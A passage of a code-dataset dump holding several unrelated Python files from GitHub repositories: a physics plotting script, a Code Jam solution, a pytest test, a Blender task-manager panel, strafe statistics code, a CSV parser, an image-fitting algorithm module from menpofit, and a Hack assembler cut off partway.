plot(x,ys,title,x_label,y_label,x_lim=None,y_lim=None,label_=None):\n plt.title(title)\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n if isinstance(ys,tuple):\n for y in ys:\n plt.plot(x,y,label=label_)\n else:\n plt.plot(x,ys,label=label_)\n if x_lim:\n plt.xlim(*x_lim)\n if y_lim: \n plt.ylim(*y_lim)\n \nx = linspace(0,20,1000)\nN = int(input('N? '))\n\ny_exact = exact(x)\n\ny_simps = [simps(f,point,N)+5 for point in x]\ny_quad = [quad(f,0,point)[0]+10 for point in x]\n\nplot(x,y_exact,'','x','$x sin(x^2)$',label_='Trapezoid')\nplot(x,y_simps,'','x','$x sin(x^2)$',label_='Simpon\\'s rule')\nplot(x,y_quad,'','x','$x sin(x^2)$',label_='Exact')\n\n#plt.show()\n","repo_name":"manavkulshrestha/Computational_Physics","sub_path":"3.19-ND/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23407033961","text":"import re\r\n\r\ndef main():\r\n#\tfileIn = \"inputsample.txt\"\r\n\tfileIn = \"A-small-attempt0.in\"\r\n\tfileOut = \"output.txt\"\r\n\t\r\n\tfin = open(fileIn, 'r')\r\n\tfout = open(fileOut, 'w')\r\n\tisFirstLine = True\r\n\t\r\n\tcases = int(fin.readline())\r\n\tfor case in range(cases):\r\n\t\toutputStr = \"Case #\" + str((case+1)) + \": \"\r\n\t\tmatches = 0\r\n\t\t\r\n\t\t# Read in the input\r\n\t\ttempLineArr = fin.readline().split(\" \")\r\n\t\tcaseStr = tempLineArr[0]\r\n\t\tn = int(tempLineArr[1])\r\n\t\t\r\n\t\t# Solve the test case\r\n\t\tstrLen = len(caseStr)\r\n\t\tfor pos in range(strLen):\r\n\t\t\t# Iterate through each letter as the starting point\r\n\t\t\tlenToEnd = strLen - pos\r\n\t\t\tposEnd = pos + 1\r\n\t\t\tif(lenToEnd < n):\r\n\t\t\t\tbreak\r\n\t\t\t\r\n\t\t\t# Incrementally increase the substring size\r\n\t\t\t# and check the string\r\n\t\t\twhile(posEnd <= strLen):\r\n\t\t\t\tstrSnippet = caseStr[pos:posEnd]\r\n#\t\t\t\tprint \"strSnippet: \" + strSnippet\r\n\t\t\t\t\r\n\t\t\t\t# Check to see if the snippet is valid\r\n\t\t\t\tvalid = isValidStr(strSnippet, n)\r\n\r\n\t\t\t\t# If the snippet is valid, increment appropriately\r\n\t\t\t\tif(valid):\r\n\t\t\t\t\taddTo = lenToEnd - len(strSnippet) + 1\r\n#\t\t\t\t\tprint \"\\tAdding \" + str(addTo) + \" to matches\"\r\n\t\t\t\t\tmatches = matches + addTo\r\n\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\tposEnd = posEnd + 1\t\t# Increment\r\n\t\t\t\t\t\t\r\n\t\t# Write to the output file\r\n\t\toutputStr = outputStr + str(matches)\r\n#\t\tprint \"\\n\\t\" + outputStr\r\n\t\tif(isFirstLine):\r\n\t\t\tfout.write(outputStr)\r\n\t\t\tisFirstLine = False\r\n\t\telse:\r\n\t\t\tfout.write(\"\\n\" + outputStr)\r\n\t\t\r\n\t\t# Increment the case counter\r\n\t\r\n\t# Close the files\r\n\tfin.close()\r\n\tfout.close()\r\n\t\r\ndef isValidStr(strSnippet, n):\r\n\tvalid = False\r\n\tpattern = re.compile(\"[aeiou]\")\r\n\t\r\n\tfor pos2 in range(len(strSnippet)):\r\n\t\tsubSnippet = strSnippet[pos2:(pos2+n)]\r\n\t\tif((pattern.search(subSnippet) == None) \\\r\n\t\t\tand (len(subSnippet) >= n)):\r\n\t\t\t# Matched!\r\n\t\t\tvalid = True\r\n\t\t\tbreak\r\n\treturn valid\r\n\t\r\nif __name__ == '__main__':\r\n\tmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_126/584.py","file_name":"584.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29089215112","text":"'''\nTests for 'soane.comms.create'.\n'''\n\nimport click\n\nfrom soane.comms.create import create\n\ndef test_read(cli, monkeypatch):\n # setup\n opens = []\n func = lambda path: opens.append(path)\n monkeypatch.setattr(click, 'launch', func)\n\n # success\n book, outs = cli(create, 'delta')\n assert book['delta'].exists()\n assert outs == []\n\n # success - with --open\n book, outs = cli(create, 'echo', '--open-after')\n assert book['echo'].exists()\n assert outs == []\n assert opens == [book['echo'].path]\n\n # failure - existing note\n book, outs = cli(create, 'alpha')\n assert outs == [\n \"Error: the note 'alpha' already exists.\\n\",\n ]\n","repo_name":"spheten/soane","sub_path":"tests/test_comms/test_create.py","file_name":"test_create.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24807770702","text":"import bpy\nfrom bpy.types import Panel , UIList, Operator\nimport bpy.utils.previews\n\nimport os \n\npreview_collections = {}\npcoll = bpy.utils.previews.new()\npreview_collections[\"main\"] = pcoll\nmy_icons_dir = os.path.join(os.path.dirname(__file__), \"icons\")\nfor icon_name in os.listdir(my_icons_dir):\n if icon_name.endswith(\".png\"):\n pcoll.load(icon_name[:-4], os.path.join(my_icons_dir, icon_name), 'IMAGE')\n\nclass TM_PT_Option(Panel):\n bl_label = \"Options\"\n bl_idname = \"MY_PT_OptionPanel\"\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"UI\"\n bl_category = \"Task Master\"\n preview_collections = {\"main\"}\n\n def draw(self, context):\n layout = self.layout\n box = layout.box()\n row = box.row(align=True)\n row.operator('taskmaster.find_help', text=\"Find help.\", icon='INFO') \n \n \n \n# -----------------------------------------------------------------------------\n# ui list tasks\n# ----------------------------------------------------------------------------- \n\nclass MY_UL_List(UIList):\n task_index: bpy.props.IntProperty() \n \n\n def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):\n layout = layout.row()\n row = layout.row() \n pcoll = preview_collections[\"main\"]\n \n if item.is_pausedtask:\n my_icon = pcoll[\"uncheck2\"] \n else:\n my_icon = pcoll[\"check1\"] \n row.scale_x = .7 \n row.operator(\"my_list.pause_resume_task\", icon_value=my_icon.icon_id, text=\"\", emboss=False).task_index = index\n row = layout.row() \n row.scale_x = .7\n row.prop(item, \"name\", text=\"\", emboss=False) \n row.scale_x = .7 \n row.prop(item, \"tags\", text=\"\", emboss=False) \n \n if context.scene.is_recurrence:\n row.scale_x =.5\n row.label(text=item.recurrence) \n \n if context.scene.is_datecomplete:\n row.scale_x = .8\n row.label(text=item.date_created) \n else:\n row.scale_x = .4 \n row.label(text=item.date_created.split(\" \")[0])\n\n if item.task_status == 'PENDING':\n layout.label(text='To Do', icon_value=pcoll[\"afaire1\"].icon_id) \n elif item.task_status == 'IN_PROGRESS':\n layout.label(text='Begin', icon_value=pcoll[\"begin\"].icon_id) \n elif item.task_status == 'COMPLETED':\n layout.label(text='Finish', icon_value=pcoll[\"fini1\"].icon_id)\n row.scale_x = 2 \n layout.operator(\"my.cycle_task_status\", text=\"\", icon_value=pcoll[\"refresh1\"].icon_id).task_index = index\n \n\n\n def update_timer(self, context):\n task = context.scene.my_list[self.task_index]\n if task.is_running:\n task.elapsed_time += time.time() - task.start_time\n task.start_time = time.time()\n bpy.context.area.tag_redraw()\n def modal(self, context, event):\n if event.type == 'TIMER': \n bpy.context.area.tag_redraw()\n bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)\n return {'RUNNING_MODAL'}\n def execute(self, context):\n wm = context.window_manager\n self._timer = wm.event_timer_add(0.1, window=context.window)\n wm.modal_handler_add(self)\n return {'RUNNING_MODAL'}\n\n# -----------------------------------------------------------------------------\n# ui list timers\n# ----------------------------------------------------------------------------- \nclass TM_UL_ListChrono(UIList):\n timer_index : bpy.props.IntProperty() \n\n def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):\n \n if self.layout_type in {'DEFAULT', 'COMPACT'}:\n row = layout.row()\n \n if item.chrono_active:\n # Get time remaining\n tabs = layout.row()\n remaining_time = ( item.chrono_time - item.elapsed_time )\n remaining_time_max = max(remaining_time, 0)\n hours, remainder = divmod(remaining_time_max, 3600)\n minutes, seconds = divmod(remainder, 60)\n \n row.label(text=\"{:02d}:{:02d}:{:02d}\".format(int(hours), int(minutes), int(seconds)))\n progress = item.elapsed_time / item.chrono_time\n if progress < 101:\n tabs=layout.row()\n tabs.scale_x = 1.3\n tabs.label(text=f\"Progress: {progress:.0%}\")\n \n else:\n \n # Draw timer with elapsed time\n elapsed_time = item.elapsed_time\n hours, remainder = divmod(elapsed_time, 3600)\n minutes, seconds = divmod(remainder, 60)\n row.label(text=\"{:02d}:{:02d}:{:02d}\".format(int(hours), int(minutes), int(seconds)))\n \n \n\n\n# -----------------------------------------------------------------------------\n# panel\n# ----------------------------------------------------------------------------- \n\nclass MY_PT_ParentPanel(Panel):\n bl_label = \"Task Master\"\n bl_idname = \"MY_PT_ParentPanel\"\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"UI\"\n bl_category = \"Task Master\"\n preview_collections = {\"main\"}\n \n _test_modal = None\n \n def __init__(self):\n self._timer = None\n self.start_time = None\n self.elapsed_time = 0\n \n def draw(self, context):\n layout = self.layout\n row = layout.row()\n \n icon = 'TRIA_DOWN' if context.scene.subpanel_status_4 else 'TRIA_RIGHT'\n row.prop(context.scene, 'subpanel_status_4', icon=icon, icon_only=True)\n row.label(text='Tasks')\n \n if context.scene.subpanel_status_4:\n pcoll = preview_collections[\"main\"]\n row.alignment = 'LEFT'\n\n finished_tasks_count = 0\n task_list = context.scene.my_list\n for task in task_list:\n if task.is_resumedtask :\n finished_tasks_count += 1\n elif task.task_status == 'COMPLETED':\n finished_tasks_count += 1\n \n \n\n\n # Afficher le nombre de tâches terminées / nombre total de tâches\n layout = self.layout\n row = layout.row()\n col = row.column()\n split = col.split(align=True)\n split.label(text=\"Tâches terminées : {} / {}\".format(finished_tasks_count, len(task_list)))\n row = layout.row()\n \n split.label(text=\"Tâches en cours : {}\".format(len(task_list) - finished_tasks_count))\n row = col.row(align=True)\n row.template_list(\"MY_UL_List\", \"\", context.scene, \"my_list\", context.scene, \"list_index\") \n \n col = row.column(align=True)\n col.operator(\"my_list.new_item\", text=\"\", icon_value=pcoll[\"plusblack1\"].icon_id)\n col.operator(\"my_list.delete_item\", text=\"\", icon_value=pcoll[\"minusblack1\"].icon_id)\n col.operator('my_list.move_item', icon_value=pcoll[\"plus1\"].icon_id, text=\"\").direction = 'UP'\n col.operator('my_list.move_item', icon_value=pcoll[\"minus1\"].icon_id, text=\"\").direction = 'DOWN'\n col.operator(\"object.modify_task\", icon_value=pcoll[\"Setting\"].icon_id, text=\"\")\n pie_menu = col.menu_pie()\n pie_menu.operator(\"wm.call_menu_pie\", icon_value=pcoll[\"importcsv1\"].icon_id, text=\"\").name = \"VIEW3D_MT_pie_select\"\n \n \n \n row = layout.row()\n icon = 'TRIA_DOWN' if context.scene.subpanel_status_5 else 'TRIA_RIGHT'\n row.prop(context.scene, 'subpanel_status_5', icon=icon, icon_only=True)\n row.label(text='options')\n \n if context.scene.subpanel_status_5:\n pcoll = preview_collections[\"main\"]\n split = layout.split(factor=.5, align=True)\n sce = context.scene\n box = layout.box()\n row = box.row(align=True)\n row.prop(sce, \"is_datecomplete\") \n row.prop(sce, \"is_recurrence\", text=\"afficher recurrence\")\n layout = self.layout\n row = layout.row()\n # subpanel\n \n \n \n ","repo_name":"SynR-gy/TaskMaster","sub_path":"TM_PT_panel.py","file_name":"TM_PT_panel.py","file_ext":"py","file_size_in_byte":8382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"4706474011","text":"import copy\nfrom enum import Enum\nimport math\nimport numpy as np\nimport strafevis.strafe\n\nclass StatType(Enum):\n ACCEL = 0\n ANGLE = 1\n\ndef get_ang_accel(data, angle):\n copy_data = copy.deepcopy(data)\n strafevis.strafe.strafe(copy_data, angle)\n diff = math.abs(copy_data.yaw() - data.yaw())\n return diff / data.frametime\n\ndef get_accel(data, angle):\n copy_data = copy.deepcopy(data)\n strafevis.strafe.strafe(copy_data, angle)\n diff = copy_data.speed_2d() - data.speed_2d()\n return diff / data.frametime\n\n\ndef get_stats(points, stat_type, **kwargs):\n accels = np.zeros(points)\n rads = np.zeros(points)\n\n min_angle = 0\n max_angle = 360 - 1.0 / points\n increment = (max_angle - min_angle) / points\n data = strafevis.strafe.StrafeData(**kwargs)\n for i in range(points):\n angle = i * increment + min_angle\n if stat_type == StatType.ACCEL:\n accels[i] = get_accel(data, angle)\n else:\n accels[i] = get_ang_accel(data, angle)\n rads[i] = strafevis.strafe.deg2rad(angle)\n return accels, rads\n","repo_name":"fabianod/strafevis","sub_path":"strafevis/strafe_stats.py","file_name":"strafe_stats.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14036284404","text":"import csv\n\ndef parseLine(line):\n splitted_text = line.split(';')\n step = splitted_text[0]\n state = splitted_text[1]\n reward_str = splitted_text[2]\n\n\n reward = reward_str.replace('[', '')\n reward = reward.replace(']', '')\n reward = reward.replace(' ', '')\n\n return step, state, float(reward)\n\n\ndef parseAppOutput(filename):\n input_lines = []\n count = 0\n\n original_filename = filename + '.csv'\n with open(original_filename, 'r') as inputfile:\n lines = inputfile.readlines()\n\n for line in lines:\n if count > 1:\n step, state, reward = parseLine(line)\n input_lines.append([step, state, reward])\n count += 1\n\n new_filename = filename + '-parsed.csv'\n with open(new_filename, 'w+', newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=';')\n writer.writerow(['Step', 'State', 'Reward'])\n\n for line in input_lines:\n writer.writerow(line)\n\n return new_filename\n","repo_name":"ippossebon/floodlight-api-look-ahead-rl","sub_path":"plots/scripts/parseAppOutput.py","file_name":"parseAppOutput.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"44400735340","text":"import random\n\nprint('OUTPUT')\nprint('------')\nprint('Nilesh Jain - 180953226')\nprint(\"\\n\")\ndict = {}\nn = int(input(\"Enter number of values:\"))\nfor i in range(n):\n dict[random.randint(0,100)] = input(\"Enter value:\")\n\nsum=0\ncount=0\nstring = \"\"\nfor key,value in dict.items():\n if(value.isdigit()):\n sum+=int(value)\n count+=1\n else:\n string+=value\n\nprint(\"\\n\")\nprint('Average is:', sum/count)\nprint('Concatenated string is:', string)\n\nfound = False\nprint(\"\\n\")\nsearch = input('Enter value to be searched:')\nif(search.isdigit()):\n print('Please enter string')\nelse:\n for key,value in dict.items():\n if(value==search):\n found=True\n print('Element', value, \"found at key\", key)\n if(found==False):\n print(\"Element not found!\")\n \nprint('Elements with only special characters:')\nfor key, value in dict.items():\n special = True\n for i in range(len(value)):\n if(value[i].isalpha() or value[i].isdigit()):\n special = False\n break\n if(special==True):\n print(value)\n","repo_name":"nileshnj993/advanced-programming-lab","sub_path":"Lab 1 & 2/Lab 2/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40872542221","text":"from __future__ import division\nimport numpy as np\n\nfrom menpofit.result import ParametricIterativeResult\nfrom menpofit.aam.algorithm.lk import (LucasKanadeBaseInterface,\n LucasKanadePatchBaseInterface)\n\n\n# ----------- INTERFACES -----------\nclass ATMLucasKanadeStandardInterface(LucasKanadeBaseInterface):\n r\"\"\"\n Interface for Lucas-Kanade optimization of standard ATM. Suitable for\n :map:`HolisticATM`.\n\n Parameters\n ----------\n transform : `subclass` of :map:`DL` and :map:`DX`, optional\n A differential warp transform object, e.g.\n :map:`DifferentiablePiecewiseAffine` or\n :map:`DifferentiableThinPlateSplines`.\n template : `menpo.image.Image` or subclass\n The image template.\n sampling : `list` of `int` or `ndarray` or ``None``\n It defines a sampling mask per scale. If `int`, then it defines the\n sub-sampling step of the sampling mask. If `ndarray`, then it explicitly\n defines the sampling mask. If ``None``, then no sub-sampling is applied.\n \"\"\"\n def __init__(self, transform, template, sampling=None):\n super(ATMLucasKanadeStandardInterface, self).__init__(\n transform, template, sampling=sampling)\n\n def algorithm_result(self, image, shapes, shape_parameters,\n initial_shape=None, gt_shape=None, costs=None):\n r\"\"\"\n Returns an ATM iterative optimization result object.\n\n Parameters\n ----------\n image : `menpo.image.Image` or subclass\n The image on which the optimization is applied.\n shapes : `list` of `menpo.shape.PointCloud`\n The `list` of shapes per iteration.\n shape_parameters : `list` of `ndarray`\n The `list` of shape parameters per iteration.\n initial_shape : `menpo.shape.PointCloud` or ``None``, optional\n The initial shape from which the fitting process started. If\n ``None``, then no initial shape is assigned.\n gt_shape : `menpo.shape.PointCloud` or ``None``, optional\n The ground truth shape that corresponds to the test image.\n costs : `list` of `float` or ``None``, optional\n The `list` of costs per iteration. If ``None``, then it is\n assumed that the cost computation for that particular algorithm\n is not well defined.\n\n Returns\n -------\n result : :map:`ParametricIterativeResult`\n The optimization result object.\n \"\"\"\n return ParametricIterativeResult(\n shapes=shapes, shape_parameters=shape_parameters,\n initial_shape=initial_shape, image=image, gt_shape=gt_shape,\n costs=costs)\n\n\nclass ATMLucasKanadeLinearInterface(ATMLucasKanadeStandardInterface):\n r\"\"\"\n Interface for Lucas-Kanade optimization of linear ATM. Suitable for\n `menpofit.atm.LinearATM` and `menpofit.atm.LinearMaskedATM`.\n \"\"\"\n @property\n def shape_model(self):\n r\"\"\"\n Returns the shape model of the ATM.\n\n :type: `menpo.model.PCAModel`\n \"\"\"\n return self.transform.model\n\n def algorithm_result(self, image, shapes, shape_parameters,\n initial_shape=None, costs=None, gt_shape=None):\n r\"\"\"\n Returns an ATM iterative optimization result object.\n\n Parameters\n ----------\n image : `menpo.image.Image` or subclass\n The image on which the optimization is applied.\n shapes : `list` of `menpo.shape.PointCloud`\n The `list` of sparse shapes per iteration.\n shape_parameters : `list` of `ndarray`\n The `list` of shape parameters per iteration.\n initial_shape : `menpo.shape.PointCloud` or ``None``, optional\n The initial shape from which the fitting process started. If\n ``None``, then no initial shape is assigned.\n gt_shape : `menpo.shape.PointCloud` or ``None``, optional\n The ground truth shape that corresponds to the test image.\n costs : `list` of `float` or ``None``, optional\n The `list` of costs per iteration. If ``None``, then it is\n assumed that the cost computation for that particular algorithm\n is not well defined.\n\n Returns\n -------\n result : :map:`ParametricIterativeResult`\n The optimization result object.\n \"\"\"\n # TODO: Separate result for linear ATM that stores both the sparse\n # and dense shapes per iteration (@patricksnape will fix this)\n # This means that the linear ATM will only store the sparse shapes\n shapes = [self.transform.from_vector(p).sparse_target\n for p in shape_parameters]\n return ParametricIterativeResult(\n shapes=shapes, shape_parameters=shape_parameters,\n initial_shape=initial_shape, image=image, gt_shape=gt_shape,\n costs=costs)\n\n\nclass ATMLucasKanadePatchInterface(LucasKanadePatchBaseInterface):\n r\"\"\"\n Interface for Lucas-Kanade optimization of patch-based ATM. Suitable for\n `menpofit.atm.PatchATM`.\n \"\"\"\n def algorithm_result(self, image, shapes, shape_parameters,\n initial_shape=None, costs=None, gt_shape=None):\n r\"\"\"\n Returns an ATM iterative optimization result object.\n\n Parameters\n ----------\n image : `menpo.image.Image` or subclass\n The image on which the optimization is applied.\n shapes : `list` of `menpo.shape.PointCloud`\n The `list` of shapes per iteration.\n shape_parameters : `list` of `ndarray`\n The `list` of shape parameters per iteration.\n initial_shape : `menpo.shape.PointCloud` or ``None``, optional\n The initial shape from which the fitting process started. If\n ``None``, then no initial shape is assigned.\n gt_shape : `menpo.shape.PointCloud` or ``None``, optional\n The ground truth shape that corresponds to the test image.\n costs : `list` of `float` or ``None``, optional\n The `list` of costs per iteration. If ``None``, then it is\n assumed that the cost computation for that particular algorithm\n is not well defined.\n\n Returns\n -------\n result : :map:`ParametricIterativeResult`\n The optimization result object.\n \"\"\"\n return ParametricIterativeResult(\n shapes=shapes, shape_parameters=shape_parameters,\n initial_shape=initial_shape, image=image, gt_shape=gt_shape,\n costs=costs)\n\n\n# ----------- ALGORITHMS -----------\nclass LucasKanade(object):\n r\"\"\"\n Abstract class for a Lucas-Kanade optimization algorithm.\n\n Parameters\n ----------\n atm_interface : The ATM interface class. Existing interfaces include:\n\n ================================= ============================\n 'ATMLucasKanadeStandardInterface' Suitable for holistic ATM\n 'ATMLucasKanadeLinearInterface' Suitable for linear ATM\n 'ATMLucasKanadePatchInterface' Suitable for patch-based ATM\n ================================= ============================\n\n eps : `float`, optional\n Value for checking the convergence of the optimization.\n \"\"\"\n def __init__(self, atm_interface, eps=10**-5):\n self.eps = eps\n self.interface = atm_interface\n self._precompute()\n\n @property\n def transform(self):\n r\"\"\"\n Returns the model driven differential transform object of the AAM, e.g.\n :map:`DifferentiablePiecewiseAffine` or\n :map:`DifferentiableThinPlateSplines`.\n\n :type: `subclass` of :map:`DL` and :map:`DX`\n \"\"\"\n return self.interface.transform\n\n @property\n def template(self):\n r\"\"\"\n Returns the template of the ATM.\n\n :type: `menpo.image.Image` or subclass\n \"\"\"\n return self.interface.template\n\n def _precompute(self):\n # grab number of shape and appearance parameters\n self.n = self.transform.n_parameters\n\n # vectorize template and mask it\n self.t_m = self.template.as_vector()[self.interface.i_mask]\n\n # compute warp jacobian\n self.dW_dp = self.interface.warp_jacobian()\n\n # compute shape model prior\n # TODO: Is this correct? It's like modelling no noise at all\n noise_variance = self.interface.shape_model.noise_variance() or 1\n s2 = 1.0 / noise_variance\n L = self.interface.shape_model.eigenvalues\n self.s2_inv_L = np.hstack((np.ones((4,)), s2 / L))\n\n\nclass Compositional(LucasKanade):\n r\"\"\"\n Abstract class for defining Compositional ATM optimization algorithms.\n \"\"\"\n def run(self, image, initial_shape, gt_shape=None, max_iters=20,\n return_costs=False, map_inference=False):\n r\"\"\"\n Execute the optimization algorithm.\n\n Parameters\n ----------\n image : `menpo.image.Image`\n The input test image.\n initial_shape : `menpo.shape.PointCloud`\n The initial shape from which the optimization will start.\n gt_shape : `menpo.shape.PointCloud` or ``None``, optional\n The ground truth shape of the image. It is only needed in order\n to get passed in the optimization result object, which has the\n ability to compute the fitting error.\n max_iters : `int`, optional\n The maximum number of iterations. Note that the algorithm may\n converge, and thus stop, earlier.\n return_costs : `bool`, optional\n If ``True``, then the cost function values will be computed\n during the fitting procedure. Then these cost values will be\n assigned to the returned `fitting_result`. *Note that the costs\n computation increases the computational cost of the fitting. The\n additional computation cost depends on the fitting method. Only\n use this option for research purposes.*\n map_inference : `bool`, optional\n If ``True``, then the solution will be given after performing MAP\n inference.\n\n Returns\n -------\n fitting_result : :map:`ParametricIterativeResult`\n The parametric iterative fitting result.\n \"\"\"\n # define cost closure\n def cost_closure(x):\n return x.T.dot(x)\n\n # initialize transform\n self.transform.set_target(initial_shape)\n p_list = [self.transform.as_vector()]\n shapes = [self.transform.target]\n\n # initialize iteration counter and epsilon\n k = 0\n eps = np.Inf\n\n # Compositional Gauss-Newton loop -------------------------------------\n\n # warp image\n self.i = self.interface.warp(image)\n # vectorize it and mask it\n i_m = self.i.as_vector()[self.interface.i_mask]\n\n # compute masked error\n self.e_m = i_m - self.t_m\n\n # update costs\n costs = None\n if return_costs:\n costs = [cost_closure(self.e_m)]\n\n while k < max_iters and eps > self.eps:\n # solve for increments on the shape parameters\n self.dp = self._solve(map_inference)\n\n # update warp\n s_k = self.transform.target.points\n self._update_warp()\n p_list.append(self.transform.as_vector())\n shapes.append(self.transform.target)\n\n # warp image\n self.i = self.interface.warp(image)\n # vectorize it and mask it\n i_m = self.i.as_vector()[self.interface.i_mask]\n\n # compute masked error\n self.e_m = i_m - self.t_m\n\n # update costs\n if return_costs:\n costs.append(cost_closure(self.e_m))\n\n # test convergence\n eps = np.abs(np.linalg.norm(s_k - self.transform.target.points))\n\n # increase iteration counter\n k += 1\n\n # return algorithm result\n return self.interface.algorithm_result(\n image=image, shapes=shapes, shape_parameters=p_list,\n initial_shape=initial_shape, gt_shape=gt_shape, costs=costs)\n\n\nclass ForwardCompositional(Compositional):\n r\"\"\"\n Forward Compositional (FC) Gauss-Newton algorithm.\n \"\"\"\n def _solve(self, map_inference):\n # compute warped image gradient\n nabla_i = self.interface.gradient(self.i)\n # compute masked forward Jacobian\n J_m = self.interface.steepest_descent_images(nabla_i, self.dW_dp)\n # compute masked forward Hessian\n JJ_m = J_m.T.dot(J_m)\n # solve for increments on the shape parameters\n if map_inference:\n return self.interface.solve_shape_map(\n JJ_m, J_m, self.e_m, self.s2_inv_L,\n self.transform.as_vector())\n else:\n return self.interface.solve_shape_ml(JJ_m, J_m, self.e_m)\n\n def _update_warp(self):\n # update warp based on forward composition\n self.transform._from_vector_inplace(\n self.transform.as_vector() + self.dp)\n\n def __str__(self):\n return \"Forward Compositional Algorithm\"\n\n\nclass InverseCompositional(Compositional):\n r\"\"\"\n Inverse Compositional (IC) Gauss-Newton algorithm.\n \"\"\"\n def _precompute(self):\n # call super method\n super(InverseCompositional, self)._precompute()\n # compute appearance model mean gradient\n nabla_t = self.interface.gradient(self.template)\n # compute masked inverse Jacobian\n self.J_m = self.interface.steepest_descent_images(-nabla_t, self.dW_dp)\n # compute masked inverse Hessian\n self.JJ_m = self.J_m.T.dot(self.J_m)\n # compute masked Jacobian pseudo-inverse\n self.pinv_J_m = np.linalg.solve(self.JJ_m, self.J_m.T)\n\n def _solve(self, map_inference):\n # solve for increments on the shape parameters\n if map_inference:\n return self.interface.solve_shape_map(\n self.JJ_m, self.J_m, self.e_m, self.s2_inv_L,\n self.transform.as_vector())\n else:\n return -self.pinv_J_m.dot(self.e_m)\n\n def _update_warp(self):\n # update warp based on inverse composition\n self.transform._from_vector_inplace(\n self.transform.as_vector() - self.dp)\n\n def __str__(self):\n return \"Inverse Compositional Algorithm\"\n","repo_name":"papulke/face-of-art","sub_path":"menpofit/atm/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":14467,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"61"} +{"seq_id":"72662460353","text":"from enum import Enum\nimport re\nimport sys\n\n\nclass CommandType(Enum):\n A_COMMAND = 'A_COMMAND'\n C_COMMAND = 'C_COMMAND'\n L_COMMAND = 'L_COMMAND'\n\n\nclass Parser:\n def __init__(self, filePath: str):\n with open(filePath, 'r') as f:\n self.lines = f.readlines() + ['']\n self.pc = 0\n self.advance()\n\n def hasMoreCommands(self) -> bool:\n return self.pc < len(self.lines)\n\n def advance(self) -> None:\n self.currentInstruction = re.sub(\n r'(\\s)|(\\/\\/.*)', '', self.lines[self.pc])\n self.pc += 1\n if self.currentInstruction == '' and self.hasMoreCommands():\n self.advance()\n\n def commandType(self) -> CommandType:\n if self.currentInstruction[0] == '@':\n return CommandType.A_COMMAND\n elif self.currentInstruction[0] == '(':\n return CommandType.L_COMMAND\n else:\n return CommandType.C_COMMAND\n\n def symbol(self) -> str:\n return re.sub(r'[\\)\\(\\@]', '', self.currentInstruction)\n\n def dest(self) -> str:\n return re.sub(r'=.*|^[^=]*$', '', self.currentInstruction)\n\n def comp(self) -> str:\n return re.sub(r'(.*=)|(;.*)', '', self.currentInstruction)\n\n def jump(self) -> str:\n return re.sub(r'.*;|^[^;]*$', '', self.currentInstruction)\n\n\nclass Code:\n def __init__(self):\n self.destDict = {\n '': '000',\n 'M': '001',\n 'D': '010',\n 'MD': '011',\n 'A': '100',\n 'AM': '101',\n 'AD': '110',\n 'AMD': '111',\n }\n self.compDict = {\n '0': '0101010',\n '1': '0111111',\n '-1': '0111010',\n 'D': '0001100',\n 'A': '0110000',\n 'M': '1110000',\n '!D': '0001101',\n '!A': '0110001',\n '!M': '1110001',\n '-D': '0001111',\n '-A': '0110011',\n '-M': '1110011',\n 'D+1': '0011111',\n 'A+1': '0110111',\n 'M+1': '1110111',\n 'D-1': '0001110',\n 'A-1': '0110010',\n 'M-1': '1110010',\n 'D+A': '0000010',\n 'D+M': '1000010',\n 'D-A': '0010011',\n 'D-M': '1010011',\n 'A-D': '0000111',\n 'M-D': '1000111',\n 'D&A': '0000000',\n 'D&M': '1000000',\n 'D|A': '0010101',\n 'D|M': '1010101',\n }\n self.jumpDict = {\n '': '000',\n 'JGT': '001',\n 'JEQ': '010',\n 'JGE': '011',\n 'JLT': '100',\n 'JNE': '101',\n 'JLE': '110',\n 'JMP': '111',\n }\n\n def dest(self, value: str) -> str:\n return self.destDict[value]\n\n def comp(self, value: str) -> str:\n return self.compDict[value]\n\n def jump(self, value: str) -> str:\n return self.jumpDict[value]\n\n\nclass SymbolTable:\n def __init__(self):\n self.symbolTable = {\n 'SP': 0x00000,\n 'LCL': 0x0001,\n 'ARG': 0x0002,\n 'THIS': 0x0003,\n 'THAT': 0x0004,\n 'R0': 0x0000,\n 'R1': 0x0001,\n 'R2': 0x0002,\n 'R3': 0x0003,\n 'R4': 0x0004,\n 'R5': 0x0005,\n 'R6': 0x0006,\n 'R7': 0x0007,\n 'R8': 0x0008,\n 'R9': 0x0009,\n 'R10': 0x000a,\n 'R11': 0x000b,\n 'R12': 0x000c,\n 'R13': 0x000d,\n 'R14': 0x000e,\n 'R15': 0x000f,\n 'SCREEN': 0x4000,\n 'KBD': 0x6000,\n }\n\n def addEntry(self, symbol: str, address: int) -> None:\n self.symbolTable[symbol] = address\n\n def contains(self, symbol: str) -> bool:\n return symbol in self.symbolTable\n\n def GetAddress(self, symbol: str) -> int:\n return self.symbolTable[symbol]\n\n\nclass HackAssembler:\n def __init__(self, filePath: str):\n self.symbolTable = 